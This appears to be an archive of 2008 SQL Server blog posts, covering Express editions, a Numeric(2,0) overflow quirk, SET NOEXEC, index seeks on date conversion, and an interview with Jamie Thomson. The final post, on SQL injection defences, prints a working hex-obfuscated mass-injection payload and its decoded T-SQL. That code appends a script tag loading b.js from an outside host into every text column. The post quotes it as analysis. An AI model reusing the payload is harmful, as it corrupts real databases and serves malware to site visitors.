Denis Gobo

SQL Server 2008 Express with Advanced Services And Tools Now Available For Download

2008-08-26T18:21:00Z

I just noticed that there are 3 versions of SQL Server 2008 Express available for download

SQL Server 2008 Express

SQL Server database engine - create, store, update and retrieve your data

SQL Server 2008 Express with Tools

SQL Server database engine - create, store, update and retrieve your data
SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases

SQL Server 2008 Express with Advanced Services

SQL Server database engine - create, store, update and retrieve your data
SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
Full-text Search - powerful, high-speed engine for searching text-intensive data
Reporting Services - integrated report creation and design environment to create reports

Get it all here http://www.microsoft.com/express/sql/download/

If you register your copy you can get a free eBook and other goodies

Interesting Bug/Feature In SQL Server 2008 RTM

2008-08-25T15:28:00Z

Someone had a problem with 8 year old procs which started to fail after moving to SQL Server 2008
Of course he should have used ints, but let's see what happens

Run this code on SQL Server 2005 and 2000

DECLARE @num_Passed Numeric(2, 0);

SET @num_Passed = -1;

SELECT @num_Passed

IF (@num_Passed = 0)

PRINT 'True';

No problem right?

Run just this part on SQL 2008

DECLARE @num_Passed Numeric(2, 0);

SET @num_Passed = -1;

SELECT @num_Passed

No problem either
Now run this whole thing

DECLARE @num_Passed Numeric(2, 0);

SET @num_Passed = -1;

SELECT @num_Passed

IF (@num_Passed = 0)

PRINT 'True';

Oops, this is what we get
Server: Msg 8115, Level 16, State 2, Line 7
Arithmetic overflow error converting expression to data type tinyint.

Change the -1 to 1

DECLARE @num_Passed Numeric(2, 0);

SET @num_Passed = 1;

SELECT @num_Passed

IF (@num_Passed = 0)

PRINT 'True';

No problem either.

Run this

IF (convert(Numeric(2, 0),-1) = 0)

PRINT 'True';

That fails
Let's make it numeric(3,0)

IF (convert(Numeric(3, 0),-1) = 0)

PRINT 'True';

No problem, that runs fine. So is this a bug because of implicit conversion to tinyint which can't hold negative values?

SQL Server 2008 Management Studio tip: Status Bar Custom Colors

2008-08-13T19:59:00Z

Joni Moilanen has a very nice tip about how you can use custom colors in the status bar so that you don't truncate that production table yet again :-)

Check it out here: http://blog.jemm.net/2008/08/12/sql-server-2008-management-studio-tip-status-bar-custom-colors/

SQL Tip, Compiling Your SQL Without Running It To See If It Would Run

2008-08-13T15:19:00Z

Let's say you have a big SQL script with a ton of code and you want to make sure it runs but you don't want to execute it because it updates tables, deletes data etc etc.
Take this simple example

SELECT GETDATE()

SELECT 1/asasasas

You can probably guess that the second statement is not valid, when you have a lot of code it is more difficult to spot these things.
Execute the code above and you will get this

(1 row(s) affected)

Server: Msg 207, Level 16, State 1, Line 1
Invalid column name 'asasasas'.

SQL Server has the SET NOEXEC statement. From BOL:

When SET NOEXEC is ON, Microsoft® SQL Server™ compiles each batch of Transact-SQL statements but does not execute them. When SET NOEXEC is OFF, all batches are executed after compilation.

The execution of statements in SQL Server consists of two phases: compilation and execution. This setting is useful for having SQL Server validate the syntax and object names in Transact-SQL code when executing. It is also useful for debugging statements that would usually be part of a larger batch of statements.

The setting of SET NOEXEC is set at execute or run time and not at parse time.

So execute the code below

SET NOEXEC ON

SELECT GETDATE()

SELECT 1/asasasas

SET NOEXEC OFF

As you can see the output is the following:
Server: Msg 207, Level 16, State 1, Line 1
Invalid column name 'asasasas'.

You never see the getdate. Parsing that code will not throw an error and because of deferred name resolution you can fat-finger table names and it will parse without a problem. Using NOEXEC is a nice way of seeing if your code would run. The question is, of course, whether you need to do this at all since we all have a QA server <g>

Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download

2008-08-07T19:25:00Z

The 2008 Feature Pack for Microsoft SQL Server 2008, a collection of stand-alone install packages that provide additional value for SQL Server 2008 is available for download. One of these components is Microsoft SQL Server 2008 Policies

Administering Servers by Using Policy Based Management

Download it here:

http://www.microsoft.com/downloads/details.aspx?familyid=c6c3e9ef-ba29-4a43-8d69-a2bed18fe73c&displaylang=en&tm

SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed

2008-08-07T14:54:00Z

Visual Studio 2008 does not support having both Visual Studio 2008 without a service pack and Visual Studio 2008 with SP1 installed on the same computer. Because certain SQL Server 2008 features install components that are also part of the release version of Visual Studio 2008 SP1, SQL Server 2008 requires Visual Studio 2008 with SP1. If Visual Studio 2008 without a service pack is installed instead, it may not work correctly after you install SQL Server 2008.

More about this in this knowledgebase article: http://support.microsoft.com/kb/956139

There is also an item on connect submitted by Steve Kass: http://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=360930

So I guess I have to wait till August 11th when VS 2008 goes RTM to install it. I don’t want to install VS 2008 SP1 Beta so close before RTM.

Update!

The KB article mentioned the following: For example, do not select the Analysis Services, Integration Services, or Business Intelligence Development Studio features.

Well I did that and I get the same validation error :-(

SQL Teaser: Where Clause Gone Wild

2008-07-25T18:24:00Z

Try to guess what this WHERE clause is supposed to do.

WHERE

r.ApptId IS NULL

AND r.DATE >= ISNULL(NULL , '1/1/1900')

AND r.DATE < DATEADD(d , 1 , ISNULL(NULL , '1/1/3000'))

AND

--Filter on resource

( ( NULL IS NOT NULL

AND r.DoctorResourceID IN ( NULL ) )

OR ( NULL IS NULL ) )

AND --Filter on facility

( ( NULL IS NOT NULL

AND r.FacilityID IN ( NULL ) )

OR ( NULL IS NULL ) )

AND --Filter on Inactive

ISNULL(r.inactive , 0) = 0

ORDER BY

ISNULL(g.LAST , '') + ISNULL(g.FIRST , '')

If you think I made that up, then you are in for a surprise. This is actually part of a query, I found it here: http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3662895&SiteID=1

This NULL IS NULL and NULL IS NOT NULL stuff is just killing me. I wonder why this person did not get an answer yet.....Enjoy your weekend :-)

Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008

2008-07-24T18:20:00Z

I was reading Itzik Ben-Gan's An Introduction to New T-SQL Programmability Features in SQL Server 2008 article yesterday after one of my friends allerted me to the following from that article
For example, the plan for the following query performs an index seek on the index on the CurrencyRateDate DATETIME column:

USE AdventureWorks;

SELECT FromCurrencyCode, ToCurrencyCode, EndOfDayRate

FROM Sales.CurrencyRate

WHERE CAST(CurrencyRateDate AS DATE) = '20040701';

I was surprised by this, as we all know functions/conversions on column names are generaly bad for performance.

Let's see how this works. First create this table in the tempdb database.

use tempdb

create table TestDatetimePerf (SomeCol datetime,id int identity)

This will insert 2048 rows with dates between 2008-01-01 12 AM and 2008-03-26 7 AM

insert TestDatetimePerf(SomeCol)

select dateadd(hh,number,'20080101')

from master..spt_values

where type ='P'

create index ix_Date on TestDatetimePerf(SomeCol)

Turn on the execution plan

set showplan_text on

Execute the following query

select *

from TestDatetimePerf

where convert(varchar(30),SomeCol,112) = '20080103'

|--Table Scan(OBJECT:([tempdb].[dbo].[TestDatetimePerf]),

--WHERE:(CONVERT(varchar(30),[tempdb].[dbo].[TestDatetimePerf].[SomeCol],112)=[@1]))

As you can see that results in a scan.

What happens when you convert to date?

select *

from TestDatetimePerf

where convert(date,SomeCol) = '20080103'

|--Nested Loops(Inner Join, OUTER REFERENCES:([Bmk1000]))

|--Nested Loops(Inner Join, OUTER REFERENCES:([Expr1007], [Expr1008], [Expr1006]))

| |--Compute Scalar(DEFINE:(([Expr1007],[Expr1008],[Expr1006])=GetRangeThroughConvert('2008-01-03','2008-01-03',(62))))

| | |--Constant Scan

| |--Index Seek(OBJECT:([tempdb].[dbo].[TestDatetimePerf].[ix_Date]),

--SEEK:([tempdb].[dbo].[TestDatetimePerf].[SomeCol] > [Expr1007]

--AND [tempdb].[dbo].[TestDatetimePerf].[SomeCol] < [Expr1008]),

--WHERE:(CONVERT(date,[tempdb].[dbo].[TestDatetimePerf].[SomeCol],0)='2008-01-03') ORDERED FORWARD)

|--RID Lookup(OBJECT:([tempdb].[dbo].[TestDatetimePerf]), SEEK:([Bmk1000]=[Bmk1000]) LOOKUP ORDERED FORWARD)

See that? You get a seek instead, very interesting. It would be nice that when you use convert with the style optional parameter that the optimizer would be smart enough to convert that also to a seek.

SQL Server 2008 geography data type screencasts on Channel 9

2008-07-19T20:34:00Z

Channel 9 has two screencast that deal with the new geography data type in SQL Server 2008.

Saving Virtual Earth Polygons to SQL Server 2008

Marc Schweigert shows you how to draw a polygon on a Virtual Earth map and save it using ASP.NET AJAX, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.

Rendering Polygons from SQL Server 2008 on Virtual Earth

Marc Schweigert builds off of the concepts shown in his previous screencast and shows you how to render a polygon on a Virtual Earth map using REST, Windows Communication Foundation (WCF), LINQ to SQL, and the new geography data type in SQL Server 2008.

Enjoy the shows

If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you

2008-07-09T17:33:00Z

“I sense you skipped SQL Server 2005 in you... Skipping SQL Server 2005 leads to a bigger learning curve... A bigger learning curve leads to not knowing the product as well...Not knowing the product as well leads to suffering..Running in compatibility mode 8.0 is the path to the darkside.. SQL Server 2008 (mode 10.0) is the force...May the force be with you" --

So you decided to skip SQL Server 2005 and go straight to SQL Server 2008. You have some learning to do, let’s put this into perspective. SQL Server 2005 was so massive compared to SQL Server 2000 that it is almost like climbing Mount Everest. Going from SQL Server 2000 to SQL Server 2008 is like climbing Mount Everest but you start at the bottom of the Mariana Trench.

2000 -> 2005 = Climb Mount Everest (8,848m/29,028ft).

2000 -> 2008 = Climb Mount Everest from the bottom of the Mariana Trench (19,748 metres, 64,788 ft) .

Not only do you have to deal with a complete rewrite of DTS and SSAS but SQL Server 2008 compared to SQL Server 2000 has so many enhancements to T-SQL that it is not funny. You will also have to deal with deprecated and dropped features for example *= and =* joins.

But it is not all bad; here are a couple of good things to consider (IMO).

If your developers know C# better than VB then they might pickup SSIS easier since in SQL Server 2008 SSIS supports C#.

If you work with spatial data then you have waited for a good reason.

Several new datatypes in 2008 which could make you app perform better (date instead of datetime, saves 5 bytes per row), Compression etc etc

There is a lot more of course, the merge statement is back, it was available in beta 2 of SQL Server 2005 but then got yanked.

I am just wondering how many of you are going straight from SQL Server 2000 to SQL Server 2008 without having any exposure to SQL Server 2005 at all? For some boxes I am going from SQL Server 2000 to SQL Server 2008 but we already also have SQL Server 2005 boxes running. The most challenging part for me was going from DTS to SSIS.

Now let's come back to that silly "I sense...." part at the beginning. A couple of year ago this was my sig

------------------------------------------------------------------------------------------

“I sense many useless updates in you... Useless updates lead to fragmentation... Fragmentation leads to downtime...Downtime leads to suffering..Fragmentation is the path to the darkside.. DBCC INDEXDEFRAG and DBCC DBREINDEX are the force...May the force be with you" --

I changed the sig because of this guy's answer here: http://p2p.wrox.com/topic.asp?TOPIC_ID=39079

" I sense lack of friends in you" if you think that was a funny statement think again. Not all programmers created the mess they are in. In most cases it's a matter of cleaning up the mess of others before them. If you don't have anything positive to add then keep your comments to yourself. If you would have read my post thoroughly you would have seen that your recommendation was pretty much useless.

"May you drop of the earth"—

What can you say to that? BTW this is not the only time; another person asked me how I knew his tables were fragmented.

Anyway enjoy the upgrade to SQL Server 2008, you won't be bored. :-)

Interview With SSIS Guru Jamie Thomson

2008-07-02T14:06:00Z

I asked for some names of people who you would like to see interviewed here at Sqlblog and Jamie Thomson's name popped up a couple of times. I contacted Jamie and he was kind enough to take time out from his busy schedule to answer these questions. So, here are the questions.

How excited are you about SQL Server Data Services (SSDS)?

I’d say that “intrigued” is more the right word as opposed to “excited”. I’ve got more than a passing interest in machinations in the internet space as well as my obvious interest in SQL Server so SSDS marries those two things up rather well. Frankly, everything that travels on the internet is data in one shape or another so I believe that the skills and experience that we as data professionals apply today in hosted database applications will serve us well when data is stored in the cloud. I don’t know when cloud storage usage will hit that upward inflexion point; five, fifteen, fifty years, who knows?; but I am convinced that it will happen eventually.

What are the most important things a person can do to master SQL Server?

Oh that’s easy to answer, although a bit corny. Just flip open your laptop and start using it. I’m a great believer that training courses and books can only take you so far in the pursuit of wisdom, if you want the knowledge to sink in then you’ve got to get on and put the theory into practise. I’ve been to many training courses and presentations in my life and to be honest a lot of what I hear has left my head before I’ve even got to the exit. SQL Server Express is free so it downloaded and start playing – that’s what I did. I’ll give you an example of what I’m talking about. I realised recently that I wasn’t completely au fait with transaction isolation levels in SQL Server so rather than digging out a book on it I opened my laptop and started hacking away and now I have a set of scripts that illustrate the theory perfectly – its definitely the best way to learn

What are the most important things a person can do to master Transact-SQL?

As before, just start using it. Books Online is a much-maligned resource but its invaluable to have that wealth of knowledge at your fingertips so if you’re stuck on anything just hit the F1 button and you can usually find the answer after a bit of searching (it takes a while – Books Online’s search abilities aren’t the greatest). We’re also lucky in the SQL Server community that there are so many great online resources where you can ask questions and learn from people with the experience so make sure that you put those resources to good use. I started with SQLServerCentral.com which is a really useful site and the SQL Server forums on MSDN at http://tinyurl.com/5pyqpg are also invaluable. Not long ago I was speaking to a guy from the SSIS team that had recently joined from IBM and he said that when he joined he was taken aback at the plethora of community engagement that exists around Microsoft products. He’d never experienced anything like that at IBM.

What is the most popular article on your site?

Another easy one. Its my blog entry entitled Suggested Best Practices and naming conventions that I published in January 2006. I’m really pleased about that too because I’m a huge proponent of employing best practices and consistent ways of working. I accepted a long time ago that there are much smarter guys than me around doing SSIS development so decided that if I could impart knowledge about the best way to accomplish something rather than covering the stuff that is really hard to do then that might be of real value. In a way that blog entry is a culmination of everything that my blog is about. Its always a work in progress as well because I’m constantly updating it; the most recent update was just last week.

What new things in SSIS in SQL server 2008 are you looking forward to?

The new Lookup component in SSIS 2008 is a vast improvement on the old one in my opinion so I would probably plump for that. Its a painstaking experience to have to recharge a Lookup cache that exists in a ForEach Loop and the new Lookup component goes some way to alleviating that (although not far enough in my opinion). The fact that rows that result in a cache miss are no longer treated as errors is also a big plus.

What would you like to see in the next version of SQL Server (not 2008) in terms of SSIS?

SSIS doesn’t have a great story around reusability. There is no real notion of “build once, use many times”. We can distribute these monolithic files called packages around, and that’s OK, but it would be great to have finer-grained control than that. I think it would be a huge step forward to be able to take, for example, a data flow and instantiate it in multiple packages. You can do that today by siphoning the dataflow into a dedicated package but that’s not an ideal solution in my book because there is an overhead involved in spinning up extra packages just for single discrete operations. On the same theme there was a feature that was slated for SSIS2008 but eventually got pushed out, that being the ability to take a group of components and instantiate them in different dataflows (aka flowlets) – I hope to see that in the next version.

What SQL Server books are on your bookshelf?

Compared to some of my peers I probably don’t have that many – I don’t think I’ve ever managed to read a textbook cover-to-cover. I have Kirk Haselden’s “SQL Server integration Services”, Brian Knight et al’s “Professional SQL Server Integration Services” and “Inside SQL Server 2005 : T-SQL Programming” by Itzik Ben Gan but they’re all gathering dust in a box somewhere. As I said before, I prefer to just get the laptop out and start hammering away with Books Online as my trusty sidekick.

Do you think that DT_DBTIMESTAMP was named incorrectly, after all if you need to use timestamp you need DT_BYTES?

I’d prefer to say that the TIMESTAMP datatype synonymn in SQL Server is a misnomer rather than DT_DBTIMESTAMP being named incorrectly..

What about SSIS do you love the most?

I think I’m on record as saying that expressions are one of my favourite features of SSIS so I guess I’d have to go with that. Yeah, I can’t imagine developing SSIS packages without expressions to be honest. “Love” is pushing a bit though. Who asked that question? J

What do you miss from DTS which is not available in SSIS?

I wasn’t a heavy user of DTS so am not really qualified to answer but I think I speak for the community when I say that the Import/Export wizard in DTS is more user-friendly than the one provided with SSIS.

Why can't you overwrite an Excel file in SSIS/DTS but you can overwrite a text file?

I have no idea. I didn’t even know that this was the case. JET engine peculiarities perhaps?

Which SSIS component should be used a lot more than it is used now?

There aren’t really any components that deserve to be used more per se because your choice of component is usually dictated by the requirement that you are trying to fulfil. Having said that I generally warn people off from using the Slowly Changing Dimension wizard in favour of Lookups so for that reason alone I would probably have to say the Lookup component.

Do you think that the addition of C# in SSIS is good?

Undoubtedly. Its always good to have options for programming languages.

Name some of your favorite blogs.

This is hard because according to Google Reader I am subscribed to over 250 feeds. In the SQL space Bob Beauchemin’s blog is a must have as is the UK SQL community feed at http://sqlblogcasts.com/blogs/ and of course SQLBlog at http://sqlblog.com/blogs. You pretty much cover the majority of the best SQL bloggers out there with those feeds. Away from SQL Server I closely follow Dare Obasanjo at http://www.25hoursaday.com/weblog/, you’re always good for a bit of controversy when he writes something. Joe Gregorio (http://bitworking.org/news/) and Sam Ruby (http://intertwingly.net/blog/), even though I don’t know what they’re on about half the time, are also worth keeping an eye on. Oh, and even though I abhor the main guy that writes it, Techcrunch (www.techcrunch.com) is unmissable. I’d like to say Channel 9 was on my recommended list but there seems to be a dearth of SQL Server content on there in my, admittedly biased, opinion.

Where can we see you in the near future? Any seminars, talks, events or books in the pipeline?

No, none at all. The biggest “speaking engagement” I have coming up is saying “I do” at my impending wedding to my wonderful fiancée Helen so SQL activities are on the backburner for a while.

Victim Of The Software Development Meme

2008-07-01T16:55:00Z

Andy Leonard called me out on the Software Development Meme, so here goes:

How old were you when you first started programming?

I was 16 and it was on a commodore 128. I still remember the GOSUB keyword :-)

How did you get started in programming?

I got a commodore for my 16^th birthday, at first I was mostly playing games but after a while I wanted to see how all this worked from the inside. I learned about sprites, peeks and pokes and assembly. It was a fun time, I remember staying up till the early morning trying to figure out stuff, back then there was no Google.

What was your first language?

BASIC what else?

What was the first real program you wrote?

An online temp agency web application. This was one of these fubar dot com ideas, somebody threw some money at a company, they came to use and I started to work on this. They didn’t get additional funding and this went nowhere. As a matter of fact the first 3 websites I did never launched because of funding problems.

What languages have you used since you started programming?

C, VB, JAVA, C#, T-SQL, ColdFusion, HTML, XML, JavaScript, COBOL, CICS, JCL, SMIL

What was your first professional programming gig?

This was in Silicon Alley during the dot com boom, we had lizards sleeping on monitors, and people would bring their cats to work. We had meetings on the roof of the building. The shop didn’t open till 10 AM; I had some fun times there.

If you knew then what you know now, would you have started programming?

Yes, the fun (or curse) of programming is that it changes so rapidly, you will never be bored.

If there is one thing you learned along the way that you would tell new developers, what would it be? Just when you think you know the product inside out and a new version comes out which takes twice as hard to master and eventually you will have to specialize. Also if you think that you will be done with learning after your first two years then you are mistaken. Once you get promoted you need to learn even more things. Another thing is that when you have a regular job and you go home you most likely won’t do anything related to the job. In programming it is not like that when you go home you have 600 unread items in you Google blog reader, you have 20 replies in twitter and FriendFeed is going crazy with the latest technews.

What’s the most fun you’ve ever had … programming?

Putting easter eggs in code

Who are you calling out?

I am calling out the following people I know from forums, blogs or because they are friends

Alex Cuse

Denny Cherry

Jamie Thomson

Eric E

Mark Smith

Paul Nielsen

Jason Massie

Microsoft Releases Tools To Address SQL Injection Attacks

2008-06-25T12:58:00Z

Remember the post by Aaron Bertrand titled Call a spade a spade! (SQL injection, or IIS vulnerability?)? Microsoft has released 3 tools that deal with this SQL injection.

These three tools include HP Scrawlr , UrlScan version 3.0 Beta , and a SQL Source Code Analysis Tool. Microsoft further recommends following the best practices found within advisory 954462.

Most of the sites affected had this submitted as part of the injection

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

This is of course done so that you can't see the real SQL and then you can't check for DROP, UPDATE and other DDL and DML commands

So what does this look like when you replace %20 with a space and exec with print?

DECLARE Table_Cursor

CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b

WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chkbnr.com/b.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Somehow I think this could have been written set based :-)

The problem is of course that you should never ever run as dbo or even worse sa.